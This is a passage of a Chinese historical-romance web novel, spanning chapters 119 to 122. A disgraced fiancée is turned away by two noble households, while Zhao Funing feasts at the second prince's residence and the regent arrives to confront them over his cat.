侯府护院相视一眼,不确定地看了看担架。
此时京影卫一改方才客气礼貌的态度,冷着脸如凶神恶煞,将担架往地上一搁,喊话,“长平侯府世子的未婚妻江氏,就放这儿了。”
护院瞪大眼睛,脑子里千回百转,反应过来赶快去通知长平侯。
里面,长平侯夫妇已经让人拟好了退婚书,条条退婚理由都是江家不是,侯府无过。
准备妥当正要出发,就听闻护院禀告,侯夫人险些晕死过去,“怎么会这样,咱家何时得罪了摄政王了!”
长平侯气愤道:“没有得罪,是摄政王要与我们崔家彻底闹掰啊!”
崔兰亭脸色阴沉欲滴,“父亲,母亲,人是万万不能接进来的。”
侯夫人:“这是当然,索性退婚书也写好了,我们有理。”
府外,京影卫将人放下后,还低头对着瑟瑟发抖的被褥道:“江小姐,以后还请不要留宿在外,给别人带去麻烦。这是王爷的话。”
语毕,一行人迅速离去。
江月娇听见他们离开,更怕了。
因为京影卫一走,先前不敢围上前的路人,更靠近了,她怕粗鲁的路人掀她被子。
忽然,长平侯府传来一声中气十足的吼声——
“别走!回来!”
长平侯追出来,看着一去不复返的京影卫,懊恼极了。
再见路人看向他时好奇的神色,长平侯心中郁闷,澄清道:“这并非我侯府之人!这是寿安伯府的人!他们送错地方了。”
被褥下的江月娇自知身份无法隐瞒,今日这脸是丢定了,却还是不敢露出脸,不愿意面对路人议论。
人群中有人低声问,“寿安伯千金,不就是侯府未婚妻吗。”
紧接着,传来崔兰亭清冷的声音,“江氏作恶多端,恶行罄竹难书,摄政王殿下不能容忍故而退婚,我长平侯府清誉门楣,亦不容其玷污蒙尘,今日正欲前往江家商议退婚之事,既然人已送至,那便一同前去,做个了断。”
被褥下的江月娇听见心上人无情的决断,这剜心之痛比受路人议论的屈辱更让她崩溃难堪,她一把掀开被褥,看向声源处。
崔兰亭穿着一袭月光白云纹长袍,如往昔的每一次令她心动的瞬间一样的不染尘埃,清风霁月。
可他嘴里说出那样无情的话,甚至此刻都未曾施舍给她一个眼神。
“崔,兰亭,”她知道他不爱她,可她以为,这么多年的青梅竹马之情,也该是有些分量温度的,“我们青梅竹马——”
不等她将话说完,崔兰亭瞥了她一眼,眸中没有半点她期盼的温度。
“青梅?”他将这二字才唇齿间慢慢吐出,带着讽刺,“是你吗?”
江月娇愣住。
怎么不是呢,难道只有赵福宁是,她就不是了吗?
崔兰亭像是终于可以在她面前揭下伪装的面具,毫不掩盖恶意,“她也是你从小到大的玩伴,你对她下手时,可曾顾念半分情谊?”
“哦,你与她没有情谊,”他压低声,“我与你也没有。”
江月娇突然笑了出来,笑得眼角泛出泪花,她大概能感受到赵福宁被退婚时的心情了,偏此刻她还要驳几句,“你觉得我不择手段,可你不也一样吗!你再也娶不到你喜欢的人,不是因为我,要怪就怪你自己无情!哈哈哈,就算不娶我,你也娶不到你想娶的人,我被父亲逐出家门,眼下我就是你崔兰亭的未婚妻!”
她声音不小,连路人都听得一清二楚。
路人议论声都小了,哪见过高门大户门前闹这场面的,都怀疑她是疯了。
长平侯夫人嫌丢人,将儿子往后拉了拉,冷笑道:“这婚事我们是与寿安伯府定的,既然你都被逐出家门了,这婚事自然是不作数了,也省的我们再上门退亲。”
“回府!”
长平侯一家子不在理会狼狈却仍然仰着头的江月娇,转身回府。
随着侯府沉重的大门重新阖上,议论声再也传不进侯府,只会落在仍处在担架上的江月娇身上。
第119章 她与二皇子叙什么旧!
她看着那扇门,手紧紧握住拳,裹着被子颤颤巍巍地站起来,受着周遭的“指点”,她朝着江家的方向而去。
半路与赵府的马车交错而过,马车车窗未开。
车内,福宁与“赵凫泽”面对面而坐,一路无话。
“赵凫泽”见她这般安静,以为她紧张了,遂好心安慰道:“待会见了二皇子,你不必太拘谨。”
闻言,福宁抬起头来看向他,实则在得知真相后,她根本不会拘谨,反倒压抑着一种近乎债主登门的隐晦的嚣张气焰。
偏对方没感受到,还一本正经地对她说,“二皇子宽厚雅量,待人接物从无骄矜之气,也不会将寻常小事放在心上,所以妹妹不用忧惧。”
……
见他这么一脸正色地夸赞他自己,福宁真是服了。
她忍不住露出一抹笑来,“好,我知道了哥哥。”
“赵凫泽”见她果然放松了些,点点头。
马车不一会儿就驶入二皇子府门前,府中下人来迎,接两人入府。
而另一边,江月娇还在回家的路上。
在暗处观察的京影卫将江月娇的动向汇报回了王府,也包括赵家兄妹去了二皇子府之事。
谢珩玉前脚刚得知赵福宁去了二皇子府,后脚白昼又来报——
“王爷,属下查到,昨日二皇子出过城,归来后怀中抱了一样东西,虽无人窥见其怀中之物,但昨夜有人瞧见小福是从二皇子府附近跑出来的。”
“谢燎?”谢珩玉双眸微眯,“你是说,小福昨日藏在他府上?一日?”
可,怎么想都不该如此。
掌控小福行踪的是赵福宁,她怎么可能跑去谢燎府上?谢珩玉不以为然,毕竟她与谢燎又不熟。
却听白昼继续道:“属下不敢完全确定,还有另一事,昨日赵家公子回京,是赵小姐去城外接的,想必二皇子也早早得了信才会出城去接,可见赵公子与二皇子交情很深,如今太子想拉拢赵家,等赵大人复职便可为他所用,若太子知晓赵家与二皇子亲近,恐怕会对二皇子不利。”
白昼说了这么多,谢珩玉的重点却停留在赵福宁和谢燎出城接人。
他们二人在城外遇见,谢燎回城时怀里便多了一样东西?
是赵福宁亲自将小福交给谢燎?
她就那么信任人家?
所以昨夜弄得那么狼狈难过,不是因为江月娇,而是因为谢燎?
谢珩玉慢慢相信自己拼凑出的结果,脸色越来越沉,眉头拢起,“谢燎藏了本王的猫不归还,今日赵家兄妹又去他府上作甚?”
啊?白昼差点又没跟上王爷的重点,忙回道:“赵公子是二皇子伴读,应是去叙旧的。”
谢珩玉眸中透出寒意,语气似不赞同,“赵福宁与谢燎有何旧可叙?”
白昼发现了,并且很确定,王爷真的好在意赵小姐啊,其实他禀报时的重点并不是赵小姐。
“王爷,属下也不知道他们有何旧可叙。”
谢珩玉看着无用的下属,莫名来气,倏然起身去床榻边捞起睡梦中的小福,就往外走。
白昼赶忙跟上,王爷看着有些不悦,他哪敢多问王爷要去做什么,只管跟着听令。
岂料,他虽未问,走在前头的人却主动道了句——
“本王倒要去问问,这个好侄子昨日对小福做了些什么!”
说给谁听的,白昼不知道。
但离王爷最近的,也只有自己了,白昼受宠若惊。
谢珩玉头也不回,怀里的小福被他大幅度的动作惊醒,困倦的双眸突然瞪大,仰头看着主人的下巴,满面茫然。
*
江月娇一路艰难地走到寿安伯府时,伯府正门紧闭。
她竭尽全力,扶着腿走上几阶并不高的台阶,明明都已经爬上了最后一阶台阶,手都快碰到大门时,腿软一颤,没有站稳朝前摔去。
江月娇狠狠摔在地上,磕到了手肘,忍着疼,握拳去扣大门。
很快,大门被门房打开一条缝。
从缝隙中,门房一只眼扫向门外,并没见到扣门的人,只见街上有路人对着伯府的大门指指点点。
门房后知后觉低头,才见到虚弱狼狈的江月娇,“二,二小姐?您怎么,回来了?”
门房还是没有开门的意思。
江月娇仰头,眼底掩藏着恨意,“王爷应该不会追究了,去告诉我爹……”
“哎!二小姐等等,小的去告诉伯爷一声。”门房去禀告时,还不忘把大门关上。
第120章 去皇子府胡吃海塞
“啧啧,这寿安伯府这么无情啊,竟然将亲女儿关在外面。”
“你没听说江二小姐犯了错么,牵连了伯府,陛下都下旨不让伯府爵位世袭罔替了,我若是寿安伯,我也不要这闹心的子女。”
“话也不是这么说,犯错了就不是子女了?”
有路人指点唾骂,有路人生出怜悯,有路人围观看戏,竟争论起来。
当伯府的大门再度打开时,是寿安伯亲自出来了。
“爹!”这一声,饱含委屈,“让我回家吧,我再也不敢了。”
寿安伯看着女儿惨状,于心不忍,犹豫再三,还是伸手去扶,“怎么成了这样,昨日你去赵家不还好好的,难道是赵家打你了?令你伤势加重?”
这会儿,江月娇再恨赵家人,也是不敢再诽谤赵家的,遂摇摇头。
她为何伤势加重,还不是因为受伤非但没有静养,甚至连日提心吊胆,受尽屈辱的缘故。
寿安伯一遍将女儿扶起,一遍又不忘确认,“王爷当真不追究了?你怎知道?”
他的害怕与冷漠,再度刺伤江月娇,她扯扯嘴角,想到京影卫的话,“嗯,王爷的人让我以后安生一些,没别的了。”
“好好好。”寿安伯彻底放心。
就在父女俩准备进府时,距离此地不远处,街巷的另一端传来些躁动。
摄政王的车驾并未经过寿安伯府,可听闻骚动,心虚的寿安伯以为是女儿说谎了、摄政王又要来算账了,惊骇之下撒开女儿的手腕,连忙撇清干系跨步进府。
不等江月娇跟进去,他便急道:“关门!”
又将江月娇关在了门外,留她怔怔地看着,险些又要倒在地上,扶住门,呢喃的声音带着意料之内的自嘲,“爹……”
很快,摄政王的车驾驶远,一直未经过伯府门前,只不过是从街头经过罢了。
闻讯的寿安伯确认摄政王不是朝伯府来的,再度命人开门,他愧疚道:“娇娇受苦了,快来人,扶小姐回房休息。”
*
二皇子府,不缺吃不缺穿,更气人的,是不缺冰。
福宁与假哥哥坐在凉亭中,看着在空中飞的小鸟儿,等待着假皇子来。
期间下人上了些茶点,好巧不巧,都是福宁爱吃的。
方才在家中刻意留着肚子了,这会儿旁若无人地吃起糕点,一杯茶喝完还礼貌地召唤丫鬟来添茶,“能不能再加点小冰块。”
“如果有主食就好了。”
“再加点小水果,可以吗?”
当然是可以的。
不过,并不会因为加个“小”字就显得她拘束害羞。
“赵凫泽”看她好几次,本来还怕她拘谨,想着照顾她一些,没想到方才在马车上说的话,这丫头真的都听进去了,一点都不客气。
甚至还有得寸进尺的趋势。
是在家饿昏头了吧!
赵福宁到底还是怕真正的二皇子不高兴的,使小性子的同时也不会失去理智,该平衡一下的。
故而,她点完自己想吃的,还得照顾二皇子的心情。
她脑袋歪了歪,稍微朝假哥哥的方向凑近一点,离了一个安全又不算太疏离的社交距离,笑眯眯地问,“哥哥,你要不要吃些什么?你得吃,你不吃的话,我怎么好意思吃,殿下肯定会觉得我得寸进尺不懂规矩。”
“没错,我们要在二皇子府多吃点哦,二皇子有雅量待人温和,肯定不会忍心让我们饿坏的,要不我们一起吃烧鸡烤鸭怎么样?再来点小面。”
……
“赵凫泽”愣了愣,究竟谁才是府上的主人?
他看着她,起初笑容只在嘴角,最终在她催促点菜下,他的笑意达至眼底。
“好啊,都来些吧,放一桌子菜,我们吃个够。”
“嗯嗯,”福宁点头两下,看向身边等待的侍女,“我哥说要一桌子菜。”
侍女嘴角微微抽搐,若不是见识多,只怕这会要被这对无耻的兄妹无语到翻白眼了。
哪有来拜访的客人,还没见到主人家就开始点菜的,把这里当什么了?
何况这里是皇子府啊!
“赵凫泽”看向没应话的侍女,脸上笑意淡了些,“有什么问题吗?”
侍女摇头,没有将鄙夷显露在脸上,“是,奴婢让后厨去做,请贵客稍等。”
福宁再看向“赵凫泽”,小声道:“吃不完可以带走吗?”
“赵凫泽”又被她惊到,笑有些无奈,“等我问问二殿下。”
今日才彻底见识到,赵凫泽的妹妹这么有意思。
两人四目相对,一个眼中闪过狡黠,另一个是新奇无奈纵容。
不远处,“谢燎”走向凉亭,距离几丈距离时,见着凉亭中正对视的两人,还未感受到凉亭的气氛如何,“谢燎”便下意识地蹙起眉。
第121章 她来了,请闭嘴
一道轻咳,令两人齐齐朝“谢燎”看去。
两人神色各异,但都没有对皇子身份的敬畏之色。
在皇子府下人的眼中,这对兄妹当真是很不懂事,一入府就开始点菜不说,如今见到了二皇子,还不赶快起身行礼并迎接殿下,反倒看着殿下朝他们靠近、无动于衷。
呵,怪不得摄政王要革职赵家,一点眼色都没有。
下人的腹诽,福宁听不见。
她直视着“谢燎”,看着他的举动与表情,其实,若不被表面那张脸所迷惑,他的确更符合自己那个稳重的亲哥哥。
“赵凫泽”脸上永远挂着笑,欣赏着自己的脸,到底还是没忘记当下身份互换,正欲起身行礼,扭头看了眼赵福宁。
发现赵福宁已经看着自己那张脸“看呆”了。
“赵凫泽”扯一扯她,压低声,“要给殿下行礼。”
福宁点头,跟着他一起起身。
“臣女参见……”
可假皇子又怎会让真皇子行礼呢。
“赵凫泽”挑的行礼时间也恰到好处,“谢燎”已至眼前,伸手抬起“赵凫泽”作揖的手。
“免礼。”
“谢燎”说免礼的同时,没被扶的福宁继续行礼。
只有她嘴里在继续,“参见二皇子殿下。”她的目光落在亲哥哥扶假哥哥的动作上,然后低下头,撇撇嘴。
“谢燎”看向她,淡淡道,“赵小姐不用多礼。”
福宁重新抬头,笑得很假,“多谢殿下。”
呵呵,等她行完礼再说不用多礼,真是她的好哥哥。
“谢燎”没过多关注她的表情,又看向“赵凫泽”,“不过赵小姐为何会来?”
他是在问。
或许是觉得福宁的存在会干扰他们密谋什么,反正这话落在福宁的耳朵里,让她心里很不是滋味。
她带着一分不满,两分别扭,七分装作不在意道:“殿下,我是送哥哥来,打扰到你们了,我回去就是。”
说着转身就走。
被“赵凫泽”喊住,“来都来了,殿下要是不欢迎,我与舍妹就先告辞。”
“……”谢燎看向福宁走得一会快一会慢的身影,哪里看不出自己的亲妹妹在耍小性子,他回味一番刚才的话,心想自己也没赶她走啊,“来人,去将赵小姐哄回来。”
下人应声离去,只是这个“哄”字,下人不知该怎么实施。
不过很快就会明白了。
几句话的功夫,福宁都拐了一个弯、走到廊道另一端了。
下人请她回来,她嘴上恭敬实则不满地拒绝,只说不要打扰他们叙旧先走了。
但领了命的下人哪会让她走,思及殿下口中的“哄”字,便跟着赵福宁一直不停地请她回去,还道厨房已经将她喜欢吃的做下去了。
福宁见他这般锲而不舍,可见自家哥哥还是没有嫌弃自己的,这才心情好转些,“那好吧。”
那厢,在凉亭中的两人已经坐下、屏退了旁人后,对话仍压着声。
“殿下,你怎将她带来了?”
“让她吃些好的吧,赵凫泽,你看着不心疼吗?”
“……”
“你还用我身份诓你爹的钱,你打的什么主意?”
闻言,“谢燎”叹一声,话音沉重,“总好比他去走别的门路把钱送给别人好……殿下打算何时启程。”
“赵凫泽”脸上笑意淡了些,才刚回来哪舍得启程,遂故意避而不谈,忽见少女跟着下人走回来,刚淡下去的笑不自觉地加深,“其实你妹妹挺可爱的。”
“谢燎”蹙起眉,眼前又浮现方才自己来时,凉亭中的那一幕,心绪复杂,“因特殊原因,我向陛下请求赐婚,对象是囡囡。”
“赵凫泽”刚喝的茶水差点喷出来,声音也一下子没压住,“不是你——”
究竟谁是皇子谁是臣子。
“赵凫泽”忽然收住,压着声不悦道,“你再敢替我乱做主……”
威胁的后半句,他还没想好,“谢燎”已经认错了。
“谢燎”又道:“陛下不会允的,放心。”
嘴上这般说着,“谢燎”的目光紧紧盯着对方的表情,以此判断对方是否心仪自家妹妹。
“赵凫泽”愣了愣,既没有高兴也没有难过,茫然地回应了一个字,“哦。”
脚步声渐近,“赵凫泽”的注意力很快转移,还给“谢燎”使眼色,“嘘,她来了。”
福宁再回到凉亭的时候,一点对话都没听见,凉亭中的两人只是安静地坐着喝茶。
环顾四周,都没多余的人了。
她才不会信他们光喝茶,方才肯定再密谋什么,早知道她便走得慢些,让他们多聊一会。
可别到时因为密谋时间过短而露了馅。
“谢燎”做了个请的手势,“赵小姐请坐。”又看向领着赵福宁的下人,“去催一催厨房。”
于是唯一在场的下人也走了。
凉亭中的三人各怀心思,待福宁坐下后,没人说话,只剩下轻微的喝茶声。
当福宁放下茶盏,她开始兴师问罪,“对了,昨日多谢二殿下帮臣女归还了摄政王的小猫。”
“谢燎”云淡风轻,“区区小事,不足挂齿。”
闻言,福宁扯了扯笑,两个梨涡高低不平。
哼,还敢认呢!他有没有归还小猫,她心里最清楚!
第122章 胳膊肘外拐的谢小福
此时,外院传来一道男声,“殿下,请容老奴禀报后您再进去吧殿下——”
福宁寻声望去,没看见人。
二皇子府还能有第二个殿下吗?
紧接着,她就见到了王府管家正在喊的殿下是何人。
谢珩玉快管家一步,走进院中,一眼锁定他们所在之地。
他腰间横着一柄长剑,身后跟着几名亲卫,黑着脸朝着他们走来,那气势更像是兴师问罪。
这回,三人一同起身行礼。
福宁低着头,不知是不是错觉,感觉谢珩玉的视线落在了她的头顶,很快又移开。
谢珩玉从她身侧经过,直接落坐在“谢燎”与赵福宁的中间,也是“赵凫泽”的对面。
坐下还理了理衣裳,而后像是才发现他们还站着,“免礼。”
“谢燎”淡然地问,“皇叔怎么来了?”
“赵凫泽”的视线在赵福宁和谢珩玉之间徘徊,很怀疑皇叔是冲着她来的,毕竟从前见皇叔一面不说困难吧,确实也没那么容易,而今,他怎么每日都能见到,还都是皇叔主动的。
唯独谢珩玉没看福宁,将身侧的剑解下,重重地放在桌上,冰凉的眸光投向“谢燎”,“本王的人查到,昨日是你藏了小福,为何不归还?”
谢珩玉的质问,直接戳穿了“谢燎”方才的谎言,他第一时间看向妹妹福宁。
福宁没想到谢珩玉连这都能查到,一对秀眉蹙起,开始发愁,她担心谢珩玉误会是哥哥藏猫不归还……虽然也不算是误会,哥哥真的没还,是她自己跑回去的。
谢珩玉既已知道她控制着小福,为何不直接怪罪她乱跑,而要来迁怒哥哥藏猫呢!
谢珩玉观察着“谢燎”,“谢燎”看着福宁,福宁看着“谢珩玉”,唯有不明真相的“赵凫泽”此刻才知道“谢燎”昨天没有还猫。
“谢燎”眼帘低垂,扫向谢珩玉怀中的小福,“原来是它,皇叔误会了,昨日侄儿确实捡了一只猫,可猫猫狗狗长相相似不足为奇,侄儿没想到是皇叔的猫。”
叔侄俩视线对上,谢珩玉疏离冷漠,相比之下,“谢燎”倒是有礼貌得多。
谢珩玉不语,剑拔弩张的氛围中,福宁突然开口:“原来是二殿下捡了小福呀,还好是二殿下,不然小福只怕真要丢了。”
她有意给哥哥解围,一句话将他从“捡猫不还”定义为“捡猫有功”。
福宁话音刚落,谢珩玉偏头,冷冽的黑眸看向她,可没有半点要感谢的意思,他嗤笑一声,“赵小姐若不说话,本王还未发现赵小姐也在。”
……
又不瞎怎么可能发现不了,福宁腹诽中,别以为她没听懂他在讽刺她话多。
那没办法的,她就算对哥哥有小意见,也不能眼看着哥哥受欺负。
福宁被谢珩玉不善地盯着,脸颊两侧都凉凉的,很不自在,她低下头。
“谢燎”:“皇叔若觉得侄儿有罪,侄儿给皇叔赔罪,但这与赵小姐无关。”
听他们两人互相解围,谢珩玉眸光愈发幽冷,他左右看看,倏地冷笑一声,嘴角抿成一条直线。
无关?这里,最无关的人怕是谢燎才对。
僵持之际,福宁点的菜上来了。
可桌上横摆着摄月剑,占了不少位置。
侍女端着盘子,也不敢去动那摄月剑,更不敢掉头走,只能尴尬地站着。
福宁面露愁态,恰与谢珩玉怀里的小福撞上视线。
小福就像了解她心思似的,抬起前肢跳到桌上,努力要将摄月剑挪开。
这动静,不可能有人注意不到。
谢珩玉已经习惯了谢小福的胳膊肘外拐举动,不阻止它,只冷眼瞥向福宁。
福宁正伸手接侍女手中的盘子,仿佛感受不到他的不满,竟然开始摆盘。